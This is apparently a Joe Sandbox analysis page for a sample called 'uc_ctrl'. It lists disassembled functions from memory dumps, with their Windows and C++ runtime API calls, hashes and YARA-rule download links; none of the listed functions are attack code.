API String ID: 2493636478-0
Opcode ID: c9bcaf129082444a6a8ecdcb8d994161a796e75b184aac7eae34806a8cddf039
Instruction ID: 4ab3951129cd867c490d58e4476e8529a3bdba9a398ec598dda6d450ff8361fb
Opcode Fuzzy Hash: c9bcaf129082444a6a8ecdcb8d994161a796e75b184aac7eae34806a8cddf039
Instruction Fuzzy Hash: 6D110170A052119FCB00DF58C480AFDBBF4AF28308F15805AE115AB295CBF8ED41CB92

Function 6D1C4A00 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1C4A07
?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,00000000,00000020), ref: 6D1C4A27
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000002,00000000,?,00000001,?,00000000,00000020), ref: 6D1C4A86

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: ?clear@ios_base@std@@?setstate@?$basic_ios@_H_prolog3U?$char_traits@_W@std@@@std@@
String ID:
API String ID: 1215715714-0
Opcode ID: bf4b7eb44a748b0d152beaff1eb6c6c5d60f51b2d39c037534a72bb20fe4ea40
Instruction ID: 1cf70388648f5fe72d92563f6ba7303d9982b2ed69859643e3cf4270a268f080
Opcode Fuzzy Hash: bf4b7eb44a748b0d152beaff1eb6c6c5d60f51b2d39c037534a72bb20fe4ea40
Instruction Fuzzy Hash: 2A118B316046149BCB00DFA8C8D0FADB7B5BF1C328F198118E616AB295C7B5E851CB51

Function 6D1A013C Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

__AdjustPointer.VCRUNTIME140(?,00000008,00000001,00000000,?,6D1A04E1,00000000,00000001,?), ref: 6D1A015C
__AdjustPointer.VCRUNTIME140(?,00000008,00000000,?,6D1A04E1,00000000,00000001,?), ref: 6D1A0176
memcpy.VCRUNTIME140(00000001,?,00000001,00000000,00000000,?,6D1A04E1,00000000,00000001,?,00000001,00000000), ref: 6D1A0197

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: AdjustPointer$memcpy
String ID:
API String ID: 670518093-0
Opcode ID: 10ef7e059452b76178773293f265e2c31f0a95a6302d0dcdf118cef738785aa1
Instruction ID: 6c5ec8541578fb25c909e6b3ea44ba355a75795a18985d871d6bc6de0c50575c
Opcode Fuzzy Hash: 10ef7e059452b76178773293f265e2c31f0a95a6302d0dcdf118cef738785aa1
Instruction Fuzzy Hash: B311CE75108709AFEB124F52ED00BAA3BA9EF12310F188019FD404606DD7F2E991CB91

Function 6D1C4BD0 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C4BD7
?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,00000000,00000018), ref: 6D1C4C05
?sungetc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,?,?,?,?,00000001,?,00000000,00000018), ref: 6D1C4C2B
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,00000001,?,00000000,00000018), ref: 6D1C4C86

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_W@std@@@std@@$?clear@ios_base@std@@?setstate@?$basic_ios@_?sungetc@?$basic_streambuf@_H_prolog3_catch
String ID:
API String ID: 1267243179-0
Opcode ID: 190657ca4604e4d74a01c6a6afe2f1f8499bfbd9ba000bc5553be7ffb71d65dd
Instruction ID: b28cf1293f8dadfaaa45e85d94dc3b25a1e17423661974f1c46407d578d2fc77
Opcode Fuzzy Hash: 190657ca4604e4d74a01c6a6afe2f1f8499bfbd9ba000bc5553be7ffb71d65dd
Instruction Fuzzy Hash: F311E070A052119FCB00CF68C580AADBBF4EF58308F15805AE115EB2A5CBF9ED41CB91

Function 6D1A6AE0 Relevance: 6.1, APIs: 4, Instructions: 53fileCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000034), ref: 6D1A6AFE
CreateFileW.KERNEL32(?,00000080,00000007,00000000,00000003,00000000,00000000), ref: 6D1A6B13
GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6D1A6B29
CloseHandle.KERNEL32(?), ref: 6D1A6B37

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: FileHandle$CloseCreateInformationmemset
String ID:
API String ID: 2456596185-0
Opcode ID: 7ab03b205d3f7144d80ba93f0aa53f8b1e5febbbbb93ddf93a206ed23b30ef31
Instruction ID: 82a4f8bcdfe407589c877018d09b2c5414c2e5d41dd0bda2b12f31745f2d9a1c
Opcode Fuzzy Hash: 7ab03b205d3f7144d80ba93f0aa53f8b1e5febbbbb93ddf93a206ed23b30ef31
Instruction Fuzzy Hash: 5F01D831B41118B7DB115AE9EC09FAFBBBCEB82B10F00811AF911A7184DBB05905C7D0

Function 6D034C59 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00000000,00000000,?,6D034C00,?,00000000,00000000,00000000,?,6D034E71,00000006,FlsSetValue), ref: 6D034C8B
GetLastError.KERNEL32(?,6D034C00,?,00000000,00000000,00000000,?,6D034E71,00000006,FlsSetValue,6D082278,6D082280,00000000,00000364,?,6D0339F6), ref: 6D034C97
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,6D034C00,?,00000000,00000000,00000000,?,6D034E71,00000006,FlsSetValue,6D082278,6D082280,00000000), ref: 6D034CA5

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: fd4bd170b2b69473eab99de9b35ffdc4cf80fcfa2cff25e8475047d644f192b3
Instruction ID: 584350faaf64d8a479ff8717917adcc20a5d52f259f2f1edd4e61f1630a4a614
Opcode Fuzzy Hash: fd4bd170b2b69473eab99de9b35ffdc4cf80fcfa2cff25e8475047d644f192b3
Instruction Fuzzy Hash: 2B01AC326653377BEB528B6DCC85B5677E8EF4EBA17124620FD15DB240DB22D801C6D0

Function 6D19A8F0 Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT(?,00000001), ref: 6D19A90F

Part of subcall function 6D19ADD0: __Xtime_get_ticks.LIBCPMT(?,?,?,?,?,?,6D19A914,?,00000001), ref: 6D19ADE7
Part of subcall function 6D19ADD0: __aulldvrm.LIBCMT ref: 6D19ADF6

_Xtime_diff_to_millis2.MSVCP140(?,?), ref: 6D19A91C
Sleep.KERNEL32(00000000), ref: 6D19A924
_xtime_get.LIBCPMT(?,00000001), ref: 6D19A931

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: _xtime_get$SleepXtime_diff_to_millis2Xtime_get_ticks__aulldvrm
String ID:
API String ID: 3804602159-0
Opcode ID: 8eff40f72400d342d8132b168dc1e0f1e85fe1dfbc4746416d40a9e7bc845f7d
Instruction ID: ef57cb8549dd92d2a870a5d6da52459c027b2ed1eab17812151788d53f6969d7
Opcode Fuzzy Hash: 8eff40f72400d342d8132b168dc1e0f1e85fe1dfbc4746416d40a9e7bc845f7d
Instruction Fuzzy Hash: A401613190C3069FD714DF64D481D9AB3E9FB45324F11881EF5998B484EBB0F588C796

Function 6D19AAE0 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6D1F45F0), ref: 6D19AAF0
calloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,00000198), ref: 6D19AB12
__Thrd_current.LIBCPMT ref: 6D19AB40

Part of subcall function 6D19A990: GetCurrentProcess.KERNEL32(?,00000002,00000001,00000000), ref: 6D19A99F
Part of subcall function 6D19A990: GetCurrentThread.KERNEL32 ref: 6D19A9A6
Part of subcall function 6D19A990: GetCurrentProcess.KERNEL32(00000000), ref: 6D19A9AD
Part of subcall function 6D19A990: DuplicateHandle.KERNEL32(00000000), ref: 6D19A9B4
Part of subcall function 6D19A990: CloseHandle.KERNEL32(?), ref: 6D19A9C1
Part of subcall function 6D19A990: GetCurrentThreadId.KERNEL32 ref: 6D19A9CD

LeaveCriticalSection.KERNEL32(6D1F45F0), ref: 6D19AB6F

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: Current$CriticalHandleProcessSectionThread$CloseDuplicateEnterLeaveThrd_currentcalloc
String ID:
API String ID: 4125661966-0
Opcode ID: 946bb0aef1ae99de136a16a21ceb2e97c5b41c6eacae245845b3e403f9659d3d
Instruction ID: 22b7cf73d356d6b43ce4882a55747209328a18ba5a7a5acf89ed4b9571205e82
Opcode Fuzzy Hash: 946bb0aef1ae99de136a16a21ceb2e97c5b41c6eacae245845b3e403f9659d3d
Instruction Fuzzy Hash: E811E1B1508B06EFD3188F28E440FA6F7F0FB89329F01852AE55F8A149D7B0E446CB91

Function 6CEF86CF Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(?,?,000000F0), ref: 6CEF86F3
LoadResource.KERNEL32(?,00000000), ref: 6CEF86FF
LockResource.KERNEL32(00000000), ref: 6CEF870C
FreeResource.KERNEL32(00000000,00000000), ref: 6CEF8728

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: 46ec7142ebde9c79ebaf64a4ba2d92bfea77d9befe9a4fcd0df5d76db058c1d7
Instruction ID: 575947c69dafd1f0d3a2c1fda07b838761edb4e9866fd3ffe7a8955a1dd709d1
Opcode Fuzzy Hash: 46ec7142ebde9c79ebaf64a4ba2d92bfea77d9befe9a4fcd0df5d76db058c1d7
Instruction Fuzzy Hash: EFF028366027146BC7218B568D84B6FB77CEF4AA98720002AFD14D7741DF30CC0196A0

Function 00B38636 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00B41474,00000000,?,00B365FF,00B417EC,00B39910,00000000), ref: 00B38640
LeaveCriticalSection.KERNEL32(00B41474,?,00B365FF,00B417EC,00B39910,00000000), ref: 00B38673
SetEvent.KERNEL32(00000000,00B417EC,00B39910,00000000), ref: 00B38701
ResetEvent.KERNEL32 ref: 00B3870D

Memory Dump Source

Source File: 00000010.00000002.4516969046.0000000000B31000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000010.00000002.4516767542.0000000000B30000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517104426.0000000000B3A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517218141.0000000000B41000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517362025.0000000000B42000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_b30000_uc_ctrl.jbxd

Similarity

API ID: CriticalEventSection$EnterLeaveReset
String ID:
API String ID: 3553466030-0
Opcode ID: 3ddf03ea798710f50082ede010304828d0f9788b6fdf82d81983c2991287503f
Instruction ID: 2f329be7d05e2606f57a6c9db6eeb665781c254101fa49c7ed92fdf90b0e7dff
Opcode Fuzzy Hash: 3ddf03ea798710f50082ede010304828d0f9788b6fdf82d81983c2991287503f
Instruction Fuzzy Hash: C5012C39A11214DBCB049F6CFD889A937B9FB0A3507210459F946D7320CE346E848F95

Function 6CEEEC82 Relevance: 6.0, APIs: 4, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

LocalReAlloc.KERNEL32(?), ref: 6CEEEC88
LeaveCriticalSection.KERNEL32(?), ref: 6CEEEC97

Part of subcall function 6CEEFBBF: __CxxThrowException@8.LIBVCRUNTIME ref: 6CEEFBD3

TlsSetValue.KERNEL32(?,?,?,00000000), ref: 6CEEECC7
LeaveCriticalSection.KERNEL32(?,?,00000000,?,00000004,6CEEF0C9,6CEEC806,6CEEF0F2,6CEEF81F,6CEE9FCD,00000001,00000000,?,6D021AA6,?,00000001), ref: 6CEEECFE

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: CriticalLeaveSection$AllocException@8LocalThrowValue
String ID:
API String ID: 4202424549-0
Opcode ID: 4f9c7db10aec5252e4b8c05ffe3681dc4a7c0852eb53f26e3ea3a027a31921ab
Instruction ID: 2adad3722d5a100d7295a326ac4be9c339d2314b548a15c85ff43f8b587a54e3
Opcode Fuzzy Hash: 4f9c7db10aec5252e4b8c05ffe3681dc4a7c0852eb53f26e3ea3a027a31921ab
Instruction Fuzzy Hash: E9012874600A06AFDB08DF69C985D2AFBB5FF49354320C129E86987B20DB31E920CB90

Function 6D1B2123 Relevance: 6.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1B212A
new.LIBCMT ref: 6D1B213E

Part of subcall function 6D1CA364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6D1A021B,00000054), ref: 6D1CA38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,0000003C,6D1B9A6B,00000000), ref: 6D1B2158

Part of subcall function 6D1A1410: __EH_prolog3.LIBCMT ref: 6D1A1417
Part of subcall function 6D1A1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6D1A1425
Part of subcall function 6D1A1410: std::bad_exception::bad_exception.LIBCMT ref: 6D1A1467
Part of subcall function 6D1A1410: _CxxThrowException.VCRUNTIME140(?,6D1D3B5C,bad locale name), ref: 6D1A1475
Part of subcall function 6D1A1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6D1A147E

Part of subcall function 6D1B8B2C: __EH_prolog3_catch.LIBCMT ref: 6D1B8B33
Part of subcall function 6D1B8B2C: _Getcvt.MSVCP140(?,00000034,6D1B21F7,?,00000001,0000003C,6D1B99D2,00000000), ref: 6D1B8B41
Part of subcall function 6D1B8B2C: localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(?,00000034,6D1B21F7,?,00000001,0000003C,6D1B99D2,00000000), ref: 6D1B8B50

??1_Locinfo@std@@QAE@XZ.MSVCP140(?,00000001,0000003C,6D1B9A6B,00000000), ref: 6D1B218B

Part of subcall function 6D1A1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1525
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1534
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1548
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A155A
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A156C
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A157E
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1590

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionGetcvtH_prolog3_catchLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localeslocaleconvmallocstd::bad_exception::bad_exception
String ID:
API String ID: 456732743-0
Opcode ID: eb85742eb74068d0e0798348e608d39c70943992dff9052b60067d0deb552e0d
Instruction ID: 5e3dfb5444353c2acc06123b4469bd2926df1bd281f545f730bc84c9dafe89f6
Opcode Fuzzy Hash: eb85742eb74068d0e0798348e608d39c70943992dff9052b60067d0deb552e0d
Instruction Fuzzy Hash: D901C871A083058FDB10DFA4C5157AEB7F4AF14719F15441DD245E7289DFF84A44CB86

Function 6D1B2199 Relevance: 6.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1B21A0
new.LIBCMT ref: 6D1B21B4

Part of subcall function 6D1CA364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6D1A021B,00000054), ref: 6D1CA38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,0000003C,6D1B99D2,00000000), ref: 6D1B21CE

Part of subcall function 6D1A1410: __EH_prolog3.LIBCMT ref: 6D1A1417
Part of subcall function 6D1A1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6D1A1425
Part of subcall function 6D1A1410: std::bad_exception::bad_exception.LIBCMT ref: 6D1A1467
Part of subcall function 6D1A1410: _CxxThrowException.VCRUNTIME140(?,6D1D3B5C,bad locale name), ref: 6D1A1475
Part of subcall function 6D1A1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6D1A147E

Part of subcall function 6D1B8B2C: __EH_prolog3_catch.LIBCMT ref: 6D1B8B33
Part of subcall function 6D1B8B2C: _Getcvt.MSVCP140(?,00000034,6D1B21F7,?,00000001,0000003C,6D1B99D2,00000000), ref: 6D1B8B41
Part of subcall function 6D1B8B2C: localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(?,00000034,6D1B21F7,?,00000001,0000003C,6D1B99D2,00000000), ref: 6D1B8B50

??1_Locinfo@std@@QAE@XZ.MSVCP140(?,00000001,0000003C,6D1B99D2,00000000), ref: 6D1B2202

Part of subcall function 6D1A1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1525
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1534
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1548
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A155A
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A156C
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A157E
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1590

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionGetcvtH_prolog3_catchLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localeslocaleconvmallocstd::bad_exception::bad_exception
String ID:
API String ID: 456732743-0
Opcode ID: 42b1a4c0c8ce40ec95a3dd60714a512133f78b2222866804916d00b88b0546f1
Instruction ID: 461a120ce04b008cc54c87e727415d38b176539207fc91cb33e2f88d5936b31e
Opcode Fuzzy Hash: 42b1a4c0c8ce40ec95a3dd60714a512133f78b2222866804916d00b88b0546f1
Instruction Fuzzy Hash: 9001A4759083058FEB10DF64C5157AEBAF4AF14729F15441DD285EB288DFF80A44CB82

Function 6CF046FD Relevance: 6.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(?,?,00000005), ref: 6CF04717
LoadResource.KERNEL32(?,00000000), ref: 6CF0471F
LockResource.KERNEL32(00000000), ref: 6CF0472C
FreeResource.KERNEL32(00000000,00000000,?,?), ref: 6CF04744

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
